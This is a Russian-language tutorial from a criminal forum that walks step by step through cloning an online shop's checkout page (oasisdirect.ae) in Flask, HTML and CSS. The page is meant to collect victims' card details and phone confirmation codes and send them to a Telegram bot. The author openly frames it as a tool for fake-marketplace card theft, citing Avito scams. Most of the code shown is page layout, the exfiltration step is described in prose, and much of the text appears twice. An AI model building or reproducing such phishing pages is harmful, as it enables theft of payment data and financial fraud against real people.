В данной статье я хочу показать, как сделать страницу оплаты с отправкой данных в Telegram.
Такое обычно применяется в фейковых сайтах торговых площадок с целью кражи данных карты и последующей обработки полученной карты. Из РУ сегмента в пример могу привести Авито (работа по РУ это очень, очень плохо). Если кратко, то мамонту кидаю ссылку на страницу оплаты, якобы от самой Авито, мамонт вводит данные, затем обработчик вбивает карту, а на странице нашего "Авито" появляется поле для ввода кода с телефона. После его ввода код также отправляется в Telegram обработчику. Не знаю, насколько данная тема еще работает, но все же мне захотелось предоставить пример такой страницы и показать, как оно устроено. В качестве примера буду использовать сайт oasisdirect.ae.
Целью данной статьи является показать, как легко создать подобный сайт, а также более подробно описать работу с HTML и CSS, так как во всех своих предыдущих статьях я лишь мельком описывал работу с веб-страницами. В этой же статье я хочу на практике показать написание страницы с полноценным дизайном, приближенным к оригиналу.
Разрабатывать данный сайт я буду на Python, используя Flask.
Первым делом нужно создать проект. Для этого создадим пустую папку, затем нажмем в ней правую кнопку мыши и выберем Open Folder As PyCharm. Таким образом у нас откроется наше IDE, в котором мы и будем писать весь код. Думаю, показывать, как его устанавливать, не стоит. Также для удобства создадим venv. Venv — это виртуальная среда разработки, если проще, то это папка, в которой будут находиться все скачанные библиотеки, например, тот же Flask.
Для того чтобы настроить и создать venv, нам потребуется в правом нижнем углу нажать на кнопку, показанную на скриншоте.
Далее выбираем путь для установки venv, указываем путь до нашего проекта.
Затем выбираем путь до нашего Python (обычно путь уже установлен).
Далее создадим в PyCharm основной файл, если он еще не создан. Назову его по классике main.py. После создания файла сразу установим необходимые нам библиотеки, а именно то, что нам в данный момент понадобится — Flask.
Теперь, когда проект создан, рассмотрим страницу, которую нам нужно скопировать.
Сайт мы рассмотрели и начнем его копировать, начиная с верхней панели.
Для начала пропишем в нашем Python файле установленную библиотеку Flask.
Затем инициализируем приложение Flask.
Затем укажем маршрут к странице.
Все файлы HTML по умолчанию Flask ищет в папке templates, поэтому полный путь указывать не нужно.
Эта часть кода обеспечивает нам запуск приложения только если мы будем запускать именно тот файл, в котором этот код написан. В нашем случае у нас всего один Python файл.
С Python файлом пока что мы закончили, теперь перейдем к верхней панели. В нашем случае будет реализована только одна страница сайта, и мы, конечно, можем сделать верхнюю панель прямо в файле страницы, на которой будут поля ввода карты, но обычно такие проекты не состоят из одной страницы. Они состоят из полной копии сайта, а верхняя панель есть на каждой из страниц. Так что с заделом на будущее мы будем делать верхнюю панель отдельным файлом, а затем вызывать ее на всех страницах, где она должна быть, чтобы не вставлять ее код на каждой странице.
Приступим к созданию страницы с панелью навигации. Для этого нам потребуется для начала создать папку templates, в которой будут находиться все наши будущие HTML страницы.
После создания папки создадим в ней файл base.html. В созданный файл вставляем этот код:
В head хранятся такие данные как:
{% block content %}{% endblock %} Эта конструкция используется для заполнения блоками контента из других страниц. В нашем случае, внутри этой конструкции будет основная страница, которую мы будем создавать. Но в основной странице нам также нужно будет указать, какую часть мы выберем для заполнения. Но об этом чуть позже. Сейчас мы создадим CSS файл для страницы с верхней панелью навигации. Название будущего файла мы уже заранее указали в head, а именно - base.css.
После создания файла стилей нам нужно перейти в него и сразу же указать стили для нашей страницы с панелью.
Если вы взгляните на стили, то можете заметить, что в начале body нет точки, а у navbar точка в начале есть. Это связано с тем, что когда не указывается точка, все объекты указанного типа будут применять данные стили. Точку же нужно ставить на конкретные объекты с определенным названием. В нашем случае это объект nav с классом navbar. То есть если бы у нас на странице было несколько объектов nav и нам нужно было применить ко всем этим объектам один и тот же стиль, мы бы написали так:
А если у нас есть несколько объектов nav, но нам нужно указать каждому из них разные стили, то в HTML файле нам нужно указать каждому из объектов разные классы, например:
В таком случае, в стилях мы будем писать так:
Теперь перейдем к самим стилям, которые я указал в .navbar.
Пока что со стилями мы зкончили, теперь перейдем к основной странице html.
{% extends 'base.html' %} Вызывает объекты из base.html. {% block content %} и {% endblock %} Берет объекты внутри себя и грубо говоря вставляет их в {% block content %}{% endblock %}в base.html.
Вот какой на данный момент мы имеем результат открыв страницу index:
Как видим, на ней также присутствует верхняя панель. Теперь нам нужно настроить стили как у оригинального сайта. Для этого перейдем на сам сайт, наведемся на верхнюю панель, затем нажмем правую кнопку мыши и выберем пункт "Проверить".
В открывшемся меню в разделе "Стили" ищем объект, у которого указан цвет верхней панели.
Затем берем этот цвет и вставляем его в свойство background-color нашего объекта navbar.
Таким же образом находим размеры верхней панели и также копируем их себе.
Вот какой код мы получаем:
height как не трудно догадаться, это высота объекта. в нашем случае верхней панели.
Вот как это выглядит на сайте:
У нас получилось небольшое различие: на оригинале цвет представлен в виде градиента, а у нас сплошной. Через F12 сложно было найти готовый градиент оригинала, поэтому я просто сделаю скриншот оригинальной страницы и использую любой сайт, где можно узнать цвет по пикселям.
Цвета я получил, и теперь внесем изменения в стили. Вот какая строка получилась:
to right Означает, что градиент будет направлен на правую сторону, а цвета расположены в таком порядке, чтобы первый был с левой стороны объекта, а второй — соответственно с правой. Вот в итоге, вот как выглядит в данный момент наша верхняя панель:
Цвета и размеры мы подобрали, теперь приступим к добавлению кнопок. Так как я пишу статью в то же время, когда и сам сайт, возможно, будут некоторые правки, о которых я также буду писать. Возможно, вам это поможет представить правильный ход действий без лишних правок на моем примере.
Итак. Первым делом буду добавлять логотип по центру. Чтобы его получить, просто нажимаем по нему правую кнопку мыши и выбираем пункт "Сохранить изображение как". Далее создадим в папке static папку img и закинем туда полученный логотип.
Затем заходим в файл base.html и внутрь объекта с классом navbar вставляем эту строку:
В данной строке указываем в первых одинарных скобках папку static, а во вторых указываем путь до файла с логотипом. В нем указываем все папки до него, которые следуют после static. Теперь логотип находится на странице, но он по стандарту больше по размерам, чем нам необходимо, а также он не по центру. Для начала мы подгоним размеры. Так как класс я уже добавил к объекту с логотипом, нам нужно лишь в CSS указать его.
Вот как это выглядит:
Также нужно центрировать логотип. Для этого нам нужно изменить свойства navbar:
Теперь с логотипом разобрались. Вот как это выглядит теперь:
Сейчас будем добавлять боковые кнопки на панели. Есть несколько вариантов, как это сделать:
Для начала нам нужно добавить объект button внутрь объекта панели.
Обратите внимание, что объекту кнопки я также добавил класс, и первое, что я заметил, это то, что нужно заменить в CSS navbar flex-direction: column; на flex-direction: row;. Это нужно для того, чтобы изменить расположение всех объектов. Раньше они бы шли вниз друг за другом, теперь они будут с лево на право. Справа должно быть 4 кнопки, поэтому дублируем объект кнопки еще 3 раза.
Вот какой результат у нас должен получиться:
Также нужно добавить еще 2 кнопки с левой стороны и выдвижное меню с кнопками профиля, но так как мы делаем не полную копию сайта, перенаправлять нам при нажатии на кнопки из выдвижного меню некуда, поэтому добавлять я его не буду
Как видно по скриншоту выше, объекты у нас все расположены прямо в центре. А нам нужно разделить их на лево, право, центр.
Для этого вносим левые кнопки в отдельный div блок, также и правые кнопки. Должен получиться такой вот код:
Также нам опять требуется изменить свойства navbar, установив новое значение justify-content: space-evenly;. Оно разбивает все объекты внутри блока на лево и право. Если объектов, как в нашем случае, 3, то получится, что логотип будет по центру, а кнопки — по бокам, собственно говоря, как нам и нужно. Вот как это выглядит на деле:
Как видно на скриншоте, кнопки все равно не расположены прямо в левом и правом углах. Для того чтобы это исправить, нам нужно в CSS добавить стили для div блоков, в которых хранятся наши кнопки. Нам нужно добавить свойство margin (напоминаю о том, что это свойство позволяет добавлять внешний отступ у объектов).
Вот как это выглядит в коде:
Вот как это выглядит на странице:
Теперь нам необходимо добавить отступы у кнопок с левой и справой стороны. Для этого добавим классу button эти значения:
Теперь отступы готовы, но так как с левой стороны кнопок их всего 2, а мы сделали одинаковые отступы и для объекта, который хранит кнопки, нужно сделать столько же, сколько и справа, логотип находится не по центру. Поэтому нужно изменить значение для left_button на 490px;.
Теперь нам нужно добавить в наши кнопки иконки. Обычно я использую сайт https://icons8.com/icons. На нем, как правило, есть все иконки, которые мне нужны. Выбираем нужную иконку и получаем на нее ссылку, как на скриншоте.
Далее просто вставляем ее внутрь нашего button. Но иконки внутри кнопок не центрированы. Чтобы центрировать их, нужно добавить display: flex и еще несколько параметров в стили кнопки:
После добавления иконок с верхней панелью мы заканчиваем. Вот как она выглядит в итоге:
Теперь приступим к панели, которая находится под ней. Добавлять мы новую панель будем также в файле base.html точно так же, как и первую панель. Для начала добавим объект и назначим ему класс navbar1.
Теперь добавим в css стили для этого объекта:
Теперь перейдем обратно в файл HTML и вставим внутрь нашего нового объекта объекты с товарами.
Думаю, тут уже все понятно. Изображение делается по аналогии с логотипом, объект кнопки мы уже тоже делали выше, на этом остановиться не буду.
Теперь нам нужно назначить стили для кнопок.
Тут уже тоже нечего объяснять, такое мы уже делали выше. Но на оригинале при наведении на кнопки происходит смена цвета кнопки. Для этого нам нужно в CSS указать .button_products.
Приписка hover означает, что стили будут применены при наведении на объект. Вот и сами стили:
У нас получается так, что при наведении кнопка становится синей, а текст становится белым. За цвет текста отвечает color: white.
Теперь нам нужно изменить шрифт, чтобы он был похож на тот, что в оригинале. Для этого, первым делом нам нужно создать папку fonts. Я создам ее в папке static. Затем закидываем туда шрифт и переходим в CSS файл base.css, там прописываем такой вот код:
В первой строке прописываем название шрифта, во второй прописываем путь до шрифта не забывая ставить нужное разрешение файла. Затем в body вызываем наш шрифт вот такой вот строкой:
Но к панели с продуктами он не применился, такое бывает, когда у объекта уже есть свои встроенные стили. Чтобы применить именно к панели с продуктами, нужно указать шрифт точно так же, как и в body, но в стили button_products. Если размер шрифта не подходит, подогнать его под нужный можно таким образом:
В моем случае также шрифт слишком близко разположен к картинкам продуктов, так что мне еще понадобится добавить margin-left. Напомню, что текст находится в объекте span, класс я ему не назначал, поэтому просто пропишу стили для всех span.
Вот как это выглядит в коде:
Вот как в итоге выглядит наша страница:
С панелями мы закончили, теперь нужно заняться основной страницей, на которой будут поля для ввода. Оригинальная страница разделена на 2 основных div блока, на левый и правый.
Так что, мы первым делом также добавим 2 блока. Для этого переходим в index.html и между {% block content %} и {% endblock %} пропишем 2 блока с названиями классов left и right. После этого создадим div объект, в который поместим left и right, назначим класс main этому объекту. Затем в его свойствах разместим это:
Это нужно для того, чтобы объекты внутри этого div шли слева направо. Таким образом, мы разместили left и right на нужных местах. Внутри left размещаем 2 div, в каждом из которых будет по 2 поля для ввода.
В стилях left указываем это:
Данный код распределит div внутри left, с верху вниз, а так как у нас в каждом блоке по 2 поля ввода, то получится 2 сверху, 2 снизу. Точно так же как и у оригинала.
Вот полный код, который у нас получился на данный момент:
Вот стили для объектов:
Вот как выглядит на данный момент сама страница:
Как видно на скриншоте, к объектам в right, я назначил рандомные стили и цвета, это я сделал для того, чтобы вам было понятнее, где и что в данный момент находится на странице.
Сейчас нам нужно сделать правильные размеры и отступы для всех объектов, так что сейчас будет работа только со стилями.
Отступы будем делать с помощью margin, применять его нужно к объектам right и left.
Также нам нужно задать правильные размеры, скругления и тени объектам внутри div right.
box-shadow отвечает за тень объекта. Координаты относятся к одной из сторон объекта, а в самом конце прописан цвет тени. border-radius относится к скруглениям объектов.
Вот что по итогу мы получаем:
Если посмотреть на оригинал и на нашу копию, то можно заметить, что у оригинала в полях для ввода есть текст. Чтобы нам также добавить текст, нам нужно добавить значение value к каждому объекту поля ввода:
Также нам нужно изменить шрифт и цвет текста у полей ввода. На счёт шрифта, так как мы уже прописали его в base.css, он наследуется и к html файлу, который подвязан к base.html. Нам не нужно снова инициализировать шрифт, нужно просто указать его в стилях объекта. Цвет текста меняется свойством color. Вот как в данный момент выглядит страница:
Теперь нам нужно немного поработать с блоками в блоке right. У верхнего внутри надо добавить бордер, а у нижнего ещё один div блок с тенью. Данные не в один из этих блоков я записывать не буду, так как данные для них должны браться из базы данных о товаре, а так как мы делаем копию только одной страницы, а не всех, то брать нам эти данные неоткуда.
Для того чтобы в верхнем блоке добавить бордер внутри объекта, нам нужно создать ещё 1 div и назначить ему стиль нижнего бордера.
Вот как выглядит HTML этого блока:
Вот его стили:
Ширина была добавлена, чтобы этот блок с бордером не был по размерам своего родительского блока, так как у оригинала поле с бордером имеет зазоры по бокам. Теперь, чтобы объект был по центру родительского блока, нам нужно добавить свойства к самому родительскому блоку, а именно к .info:
Теперь приступим к редактированию нижнего блока. С ним все проще: просто копируем родительский блок, меняем ему название класса и добавляем его внутрь родительского. Стили берем от родительского за исключением нескольких параметров, например размера, в остальном же, они идентичны.
Вот стили этого объекта:
В родительском так же нужно добавить стили для выравнивания объектов внутри него:
Вот как теперь выглядит страница в браузере:
Как я уже говорил, текст в объекты добавлять не стал, так как он должен браться из базы данных магазина, а у нас всего лишь одностраничник. Поэтому переходим к добавлению карты. Оригинал использует 2Gis, поэтому мы тоже будем использовать 2Gis.
Для того чтобы добавить карту, нам нужно, прежде всего, добавить JavaScript код от 2Gis.
Затем опять же добавим еще один js код но напишем его уже сами.
Он нужен для того, чтобы установить координаты, которые будут использоваться на нашей карте по умолчанию.
Затем добавим объект, в котором будет наша карта.
Если обратите внимание на написанный нами JavaScript, то можно увидеть, что он будет ссылаться на объект с id map, которым как раз и является объект, который мы только что добавили.
Под картой у нас должно быть поле для ввода адреса, заморачиваться с ним не нужно, просто копируем любое поле ввода, которое мы уже сделали, меняем название класса и изменяем его длину на 100%. Таким образом, это поле будет растянуто от начала и до конца объекта с классом left.
Вот полный код HTML, который у нас получился:
Вот полный css код:
Вот как выглядит наша страница на данный момент:
Теперь будем просто добавлять соответствующие поля для ввода, которые есть в оригинале. Для этого будем просто копировать ранее созданные объекты для ввода текста, а именно:
Далее на оригинальном сайте идет блок с выбором метода оплаты.
Но нам же нужно, чтобы оплачивали именно картой, поэтому сделаем этот блок только с одним методом оплаты, который просит данные карты. Для этого нам нужно создать в самом низу блока "left" новый div блок. Его класс будет называться "payment_method". Назначим ему пока что такие стили:
После того, как мы добавили объект, нам нужно добавить надпись "Select Your Payment Method". Для этого будем использовать объект span, которому назначим класс, чтобы добавлять стили не на прямую ко всем span, а к конкретному. У нас уже есть обращение ко всем объектам span, и если мы начнем редактировать стили для этой надписи таким методом, все остальные span объекты будут затронуты. Называться класс будет "payment_method_text". В нем мы назначим шрифт, размер шрифта и цвет текста.
А в его родительский объект добавим padding, чтобы текст не прилегал к краям.
Теперь нам нужно внутрь родительского объекта добавить еще один объект, в котором будет находиться выбранный метод оплаты. Для этого под объектом span мы создаем div с классом "payment" и добавим к нему такие стили:
Также добавим ему margin-top, чтобы он не прилегал к span, который находится выше.
Теперь внутрь этого объекта нам нужно добавить надпись "Online Payment" и чекбокс такой же, как у оригинала. Для этого нам нужно создать объект label, в котором будет два span объекта и объект input, который и будет самим чекбоксом.
А вот и css стили для всех этих объектов:
Теперь нам нужно сделать последний элемент на странице, а именно: Поля для ввода банковских данных. Для этого нам нужно создать объект div в самом низу объекта "left" и назвать его класс "card". Т.к. у оригинала есть узоры на углу объекта, делать их самому не вариант. Поэтому лезем через F12 в код объекта на оригинальном сайте и получаем вот такой вот стиль:
Записываем его в стили объекта "card" и добавляем еще пару стилей, чтобы подогнать размеры самого объекта.
Вот что в итоге у нас получается в CSS:
А вот как это выглядит на сайте:
Теперь нужно добавить внутрь этого разрисованного объекта поля для ввода данных. Первым делом создадим div с классом "brand". В нем будет меню для выбора Visa или Mastercard. Для этого объекта назначим стили, чтобы объекты внутри него шли с лева на право.
Затем добавим объект span, чтобы в нем хранилось слово "Brand". Назовем его класс "brand_text". В его стилях мы назначим шрифт и цвет текста.
Затем идет объект выпадающего меню:
Сам объект выпадающего меню называется селектором. Назначим теперь стили селектору, чтобы подогнать его размеры под оригинал.
Следующим объектом идет картинка Visa, ее мы лутаем с оригинального сайта и закидываем к нам в проект в папку img к остальным картинкам. На сайт ее добавляем таким образом:
Этому объекту я также назначил класс. В нем указываем отступ слева, чтобы картинка не прилегала к нашему селектору.
Вот что в итоге у нас получилось:
Теперь приступим к полям ввода для номера карты, CVV и т.д. Для этого создаем два div блока, в каждом из которых будет по два поля ввода. Затем создаем еще один блок, в который перемещаем ранее сделанные два блока.
Блок "card_box" нужен для того, чтобы сделать верхний отступ от блока, в котором находится "brand".
Вот стили для текущих блоков:
С полями закончили, теперь будем добавлять кнопку "Pay now", а затем делать отправку данных при нажатии этой кнопки в Telegram.
Итак, для начала создадим div с классом "btn_box". Он нужен для того, чтобы в его стилях сделать размещение объектов с правой стороны, чтобы в дальнейшем, при добавлении внутри этого блока кнопки, она была в правом углу.
Назначаем этому объекту такие стили:
Далее создаем объект кнопки:
И назначаем ему стили:
Вот что получается на странице браузера:
С версткой сайта закончили, теперь будем делать сбор данных из полей и отправку в Telegram. Для этого перейдем в созданный в самом начале файл Python и первым делом добавим нужные нам импорты:
Затем создадим две переменные, в которых будет храниться токен бота и наш чат ID Telegram.
Далее напишем функцию для принятия данных с сайта и последующей отправки в Telegram:
Теперь нужно изменить HTML файл и заменить объект с полями ввода на это:
Тут лишь были добавлены id к каждому объекту.
Теперь напишем функцию JavaScript, которая будет собирать данные из объектов с указанными id и отправлять их в наш Python код в функцию send_data.
Теперь о том, как работает отправка:
Заключение:
В данной статье я постарался объяснить простым языком работу с HTML и CSS, а также показать, как разделять объекты на странице и вручную копировать объекты с других сайтов на примере фиша. Страница у меня получилась не полной копией, но очень приближенной. По моему опыту, если человек в принципе повелся на сайт с неоригинальным адресом, то вряд ли будет всматриваться в сайт и в его различия с оригиналом. Так что мне кажется, даже такой копии вполне хватит. Также для копирования сайта есть сторонние приложения, но их проблема в том, что они не всегда собирают сайт корректно, так что вам чаще всего все равно придется некоторые страницы делать самому.
Статья написана CognitoInc специально для форума xss.pro
Такое обычно применяется в фейковых сайтах торговых площадок с целью кражи данных карты и последующей обработки полученной карты. Из РУ сегмента в пример могу привести Авито (работа по РУ это очень, очень плохо). Если кратко, то мамонту кидаю ссылку на страницу оплаты, якобы от самой Авито, мамонт вводит данные, затем обработчик вбивает карту, а на странице нашего "Авито" появляется поле для ввода кода с телефона. После его ввода код также отправляется в Telegram обработчику. Не знаю, насколько данная тема еще работает, но все же мне захотелось предоставить пример такой страницы и показать, как оно устроено. В качестве примера буду использовать сайт oasisdirect.ae.
Целью данной статьи является показать, как легко создать подобный сайт, а также более подробно описать работу с HTML и CSS, так как во всех своих предыдущих статьях я лишь мельком описывал работу с веб-страницами. В этой же статье я хочу на практике показать написание страницы с полноценным дизайном, приближенным к оригиналу.
Разрабатывать данный сайт я буду на Python, используя Flask.
Первым делом нужно создать проект. Для этого создадим пустую папку, затем нажмем в ней правую кнопку мыши и выберем Open Folder As PyCharm. Таким образом у нас откроется наше IDE, в котором мы и будем писать весь код. Думаю, показывать, как его устанавливать, не стоит. Также для удобства создадим venv. Venv — это виртуальная среда разработки, если проще, то это папка, в которой будут находиться все скачанные библиотеки, например, тот же Flask.
Для того чтобы настроить и создать venv, нам потребуется в правом нижнем углу нажать на кнопку, показанную на скриншоте.
Далее выбираем путь для установки venv, указываем путь до нашего проекта.
Затем выбираем путь до нашего Python (обычно путь уже установлен).
Далее создадим в PyCharm основной файл, если он еще не создан. Назову его по классике main.py. После создания файла сразу установим необходимые нам библиотеки, а именно то, что нам в данный момент понадобится — Flask.
Теперь, когда проект создан, рассмотрим страницу, которую нам нужно скопировать.
Сайт мы рассмотрели и начнем его копировать, начиная с верхней панели.
Для начала пропишем в нашем Python файле установленную библиотеку Flask.
Python:
from flask import Flask, render_template
Затем инициализируем приложение Flask.
Python:
app = Flask(__name__)
Затем укажем маршрут к странице.
Python:
@app.route('/')
def index():
return render_template('index.html')
Все файлы HTML по умолчанию Flask ищет в папке templates, поэтому полный путь указывать не нужно.
Python:
if __name__ == '__main__':
app.run(debug=True)
С Python файлом пока что мы закончили, теперь перейдем к верхней панели. В нашем случае будет реализована только одна страница сайта, и мы, конечно, можем сделать верхнюю панель прямо в файле страницы, на которой будут поля ввода карты, но обычно такие проекты не состоят из одной страницы. Они состоят из полной копии сайта, а верхняя панель есть на каждой из страниц. Так что с заделом на будущее мы будем делать верхнюю панель отдельным файлом, а затем вызывать ее на всех страницах, где она должна быть, чтобы не вставлять ее код на каждой странице.
Приступим к созданию страницы с панелью навигации. Для этого нам потребуется для начала создать папку templates, в которой будут находиться все наши будущие HTML страницы.
После создания папки создадим в ней файл base.html. В созданный файл вставляем этот код:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Title</title>
<link rel="stylesheet" href="{{ url_for('static', filename='base.css') }}">
</head>
<body>
<nav class="navbar">
</nav>
{% block content %}{% endblock %}
</body>
</html>
В head хранятся такие данные как:
- Заголовок страницы.
- Кодировка текста.
- Ссылка на файл со стилями для этой страницы.
{% block content %}{% endblock %} Эта конструкция используется для заполнения блоками контента из других страниц. В нашем случае, внутри этой конструкции будет основная страница, которую мы будем создавать. Но в основной странице нам также нужно будет указать, какую часть мы выберем для заполнения. Но об этом чуть позже. Сейчас мы создадим CSS файл для страницы с верхней панелью навигации. Название будущего файла мы уже заранее указали в head, а именно - base.css.
После создания файла стилей нам нужно перейти в него и сразу же указать стили для нашей страницы с панелью.
CSS:
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
}
.navbar {
background-color: #f8f9fa;
border-bottom: 1px solid #e7e7e7;
padding: 10px;
display: flex;
justify-content: space-between;
align-items: center;
}
Если вы взгляните на стили, то можете заметить, что в начале body нет точки, а у navbar точка в начале есть. Это связано с тем, что когда не указывается точка, все объекты указанного типа будут применять данные стили. Точку же нужно ставить на конкретные объекты с определенным названием. В нашем случае это объект nav с классом navbar. То есть если бы у нас на странице было несколько объектов nav и нам нужно было применить ко всем этим объектам один и тот же стиль, мы бы написали так:
CSS:
nav{
}
А если у нас есть несколько объектов nav, но нам нужно указать каждому из них разные стили, то в HTML файле нам нужно указать каждому из объектов разные классы, например:
Python:
<nav class="navbar">
</nav>
<nav class="navbar1">
</nav>
CSS:
.navbar{
}
.navbar1{
}
Теперь перейдем к самим стилям, которые я указал в .navbar.
- background-color: Указывает стиль заднего фона
- border-bottom: 1px solid #e7e7e7 Указывает толщину и цвет нижнего бордера. Чтобы указать свойства не только нижнему бордеру, нужно заменить bottom в названии либо на left, right, или же на top.
- padding: Означает отступ внутри объекта
-
Указывают на положение объекта.CSS:
display: flex; justify-content: space-between; align-items: center; - display: flex; Указывает на то, что объект, у которого есть это свойство, становится гибким. Если проще, представьте, что объект с этим свойством - это стол, на котором можно передвигать предметы.
- justify-content Отвечает за то, как расположены объекты внутри. На нашем столе есть 2 телефона и несколько симок. Первый телефон лежит у левого угла, второй лежит у правого угла, а симки лежат между этими двумя телефонами.
- align-items: Отвечает за то, как объекты внутри контейнера выравниваются вертикально. Представьте, что вы держите линейку горизонтально и выравниваете все ваши телефоны и симки так, чтобы они были на одном уровне по высоте.
- margin: Обозначает отсутупы снаружу объекта.
- font-family: Указывает на используемый шрифт.
Пока что со стилями мы зкончили, теперь перейдем к основной странице html.
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
{% extends 'base.html' %}
{% block content %}
<h1>Здравия желаю XSS</h1>
{% endblock %}
</body>
</html>
Вот какой на данный момент мы имеем результат открыв страницу index:
Как видим, на ней также присутствует верхняя панель. Теперь нам нужно настроить стили как у оригинального сайта. Для этого перейдем на сам сайт, наведемся на верхнюю панель, затем нажмем правую кнопку мыши и выберем пункт "Проверить".
В открывшемся меню в разделе "Стили" ищем объект, у которого указан цвет верхней панели.
Затем берем этот цвет и вставляем его в свойство background-color нашего объекта navbar.
Таким же образом находим размеры верхней панели и также копируем их себе.
Вот какой код мы получаем:
CSS:
.navbar {
background-color: #243464;
border-bottom: 1px solid #e7e7e7;
padding: 10px;
display: flex;
justify-content: space-between;
align-items: center;
height: 35px;
}
Вот как это выглядит на сайте:
У нас получилось небольшое различие: на оригинале цвет представлен в виде градиента, а у нас сплошной. Через F12 сложно было найти готовый градиент оригинала, поэтому я просто сделаю скриншот оригинальной страницы и использую любой сайт, где можно узнать цвет по пикселям.
Цвета я получил, и теперь внесем изменения в стили. Вот какая строка получилась:
CSS:
background: linear-gradient(to right, #2871a5, #243464);
Цвета и размеры мы подобрали, теперь приступим к добавлению кнопок. Так как я пишу статью в то же время, когда и сам сайт, возможно, будут некоторые правки, о которых я также буду писать. Возможно, вам это поможет представить правильный ход действий без лишних правок на моем примере.
Итак. Первым делом буду добавлять логотип по центру. Чтобы его получить, просто нажимаем по нему правую кнопку мыши и выбираем пункт "Сохранить изображение как". Далее создадим в папке static папку img и закинем туда полученный логотип.
Затем заходим в файл base.html и внутрь объекта с классом navbar вставляем эту строку:
HTML:
<img class="logo" src="{{ url_for('static', filename='img/logo.png') }}"/>
Вот как это выглядит:
CSS:
.logo{
width: 60px;
}
Также нужно центрировать логотип. Для этого нам нужно изменить свойства navbar:
CSS:
.navbar {
background: linear-gradient(to right, #2871a5, #243464);
border-bottom: 1px solid #e7e7e7;
padding: 10px;
display: flex;
justify-content: space-between;
align-items: center;
height: 35px;
}
Теперь с логотипом разобрались. Вот как это выглядит теперь:
Сейчас будем добавлять боковые кнопки на панели. Есть несколько вариантов, как это сделать:
- Самый верный — зайти на оригинал и скопировать объект кнопки вместе с иконкой.
- Заскринить кнопку и у себя на сайте просто вставить как картинку.
- Найти такую же иконку на стороннем сайте.
Для начала нам нужно добавить объект button внутрь объекта панели.
HTML:
<nav class="navbar">
<img class="logo" src="{{ url_for('static', filename='img/logo.png') }}"/>
<button class="button"></button>
</nav>
Вот какой результат у нас должен получиться:
Также нужно добавить еще 2 кнопки с левой стороны и выдвижное меню с кнопками профиля, но так как мы делаем не полную копию сайта, перенаправлять нам при нажатии на кнопки из выдвижного меню некуда, поэтому добавлять я его не буду
Как видно по скриншоту выше, объекты у нас все расположены прямо в центре. А нам нужно разделить их на лево, право, центр.
Для этого вносим левые кнопки в отдельный div блок, также и правые кнопки. Должен получиться такой вот код:
HTML:
<nav class="navbar">
<div class="left_button">
<button class="button"></button>
<button class="button"></button>
</div>
<img class="logo" src="{{ url_for('static', filename='img/logo.png') }}"/>
<div class="right_button">
<button class="button"></button>
<button class="button"></button>
<button class="button"></button>
<button class="button"></button>
</div>
</nav>
Как видно на скриншоте, кнопки все равно не расположены прямо в левом и правом углах. Для того чтобы это исправить, нам нужно в CSS добавить стили для div блоков, в которых хранятся наши кнопки. Нам нужно добавить свойство margin (напоминаю о том, что это свойство позволяет добавлять внешний отступ у объектов).
Вот как это выглядит в коде:
CSS:
.left_button{
margin-right: 400px;
}
.right_button{
margin-left: 400px;
}
Вот как это выглядит на странице:
Теперь нам необходимо добавить отступы у кнопок с левой и справой стороны. Для этого добавим классу button эти значения:
CSS:
margin-left: 5px;
margin-right: 5px;
Теперь нам нужно добавить в наши кнопки иконки. Обычно я использую сайт https://icons8.com/icons. На нем, как правило, есть все иконки, которые мне нужны. Выбираем нужную иконку и получаем на нее ссылку, как на скриншоте.
Далее просто вставляем ее внутрь нашего button. Но иконки внутри кнопок не центрированы. Чтобы центрировать их, нужно добавить display: flex и еще несколько параметров в стили кнопки:
CSS:
display: flex;
align-items: center;
justify-content: center;
После добавления иконок с верхней панелью мы заканчиваем. Вот как она выглядит в итоге:
Теперь приступим к панели, которая находится под ней. Добавлять мы новую панель будем также в файле base.html точно так же, как и первую панель. Для начала добавим объект и назначим ему класс navbar1.
HTML:
<nav class="navbar1">
</nav>
Теперь добавим в css стили для этого объекта:
CSS:
.navbar1{
background-color: #fff;
display: flex;
justify-content: center;
align-items: center;
height: 60px;
flex-direction: row;
}
Теперь перейдем обратно в файл HTML и вставим внутрь нашего нового объекта объекты с товарами.
HTML:
<nav class="navbar1">
<button class="button_products">
<img class="products" src="{{ url_for('static', filename='img/water.avif') }}" alt="Product Image"/>
<span>Water</span>
</button>
<button class="button_products">
<img class="products" src="{{ url_for('static', filename='img/juice.avif') }}" alt="Product Image"/>
<span>Juice</span>
</button>
<button class="button_products">
<img class="products" src="{{ url_for('static', filename='img/dairy.avif') }}" alt="Product Image"/>
<span>Dairy</span>
</button>
<button class="button_products">
<img class="products" src="{{ url_for('static', filename='img/accessories.avif') }}" alt="Product Image"/>
<span>Accessories</span>
</button>
</nav>
Теперь нам нужно назначить стили для кнопок.
CSS:
.button_products {
background-color: #fff;
width: 200px;
height: 100%;
border: none;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
padding: 0;
}
Приписка hover означает, что стили будут применены при наведении на объект. Вот и сами стили:
CSS:
.button_products:hover {
background-color: #2871a5;
color: white
}
Теперь нам нужно изменить шрифт, чтобы он был похож на тот, что в оригинале. Для этого, первым делом нам нужно создать папку fonts. Я создам ее в папке static. Затем закидываем туда шрифт и переходим в CSS файл base.css, там прописываем такой вот код:
CSS:
@font-face {
font-family: 'Pioner Sans Light';
src: url('fonts/PionerSansLight.ttf') format('truetype');
}
CSS:
font-family: 'Pioner Sans Light', sans-serif;
Но к панели с продуктами он не применился, такое бывает, когда у объекта уже есть свои встроенные стили. Чтобы применить именно к панели с продуктами, нужно указать шрифт точно так же, как и в body, но в стили button_products. Если размер шрифта не подходит, подогнать его под нужный можно таким образом:
CSS:
font-size: 23px;
В моем случае также шрифт слишком близко разположен к картинкам продуктов, так что мне еще понадобится добавить margin-left. Напомню, что текст находится в объекте span, класс я ему не назначал, поэтому просто пропишу стили для всех span.
Вот как это выглядит в коде:
CSS:
span{
margin-left: 5px
}
Вот как в итоге выглядит наша страница:
С панелями мы закончили, теперь нужно заняться основной страницей, на которой будут поля для ввода. Оригинальная страница разделена на 2 основных div блока, на левый и правый.
Так что, мы первым делом также добавим 2 блока. Для этого переходим в index.html и между {% block content %} и {% endblock %} пропишем 2 блока с названиями классов left и right. После этого создадим div объект, в который поместим left и right, назначим класс main этому объекту. Затем в его свойствах разместим это:
CSS:
.main{
display: flex;
flex-direction: row;
justify-content: space-between;
}
HTML:
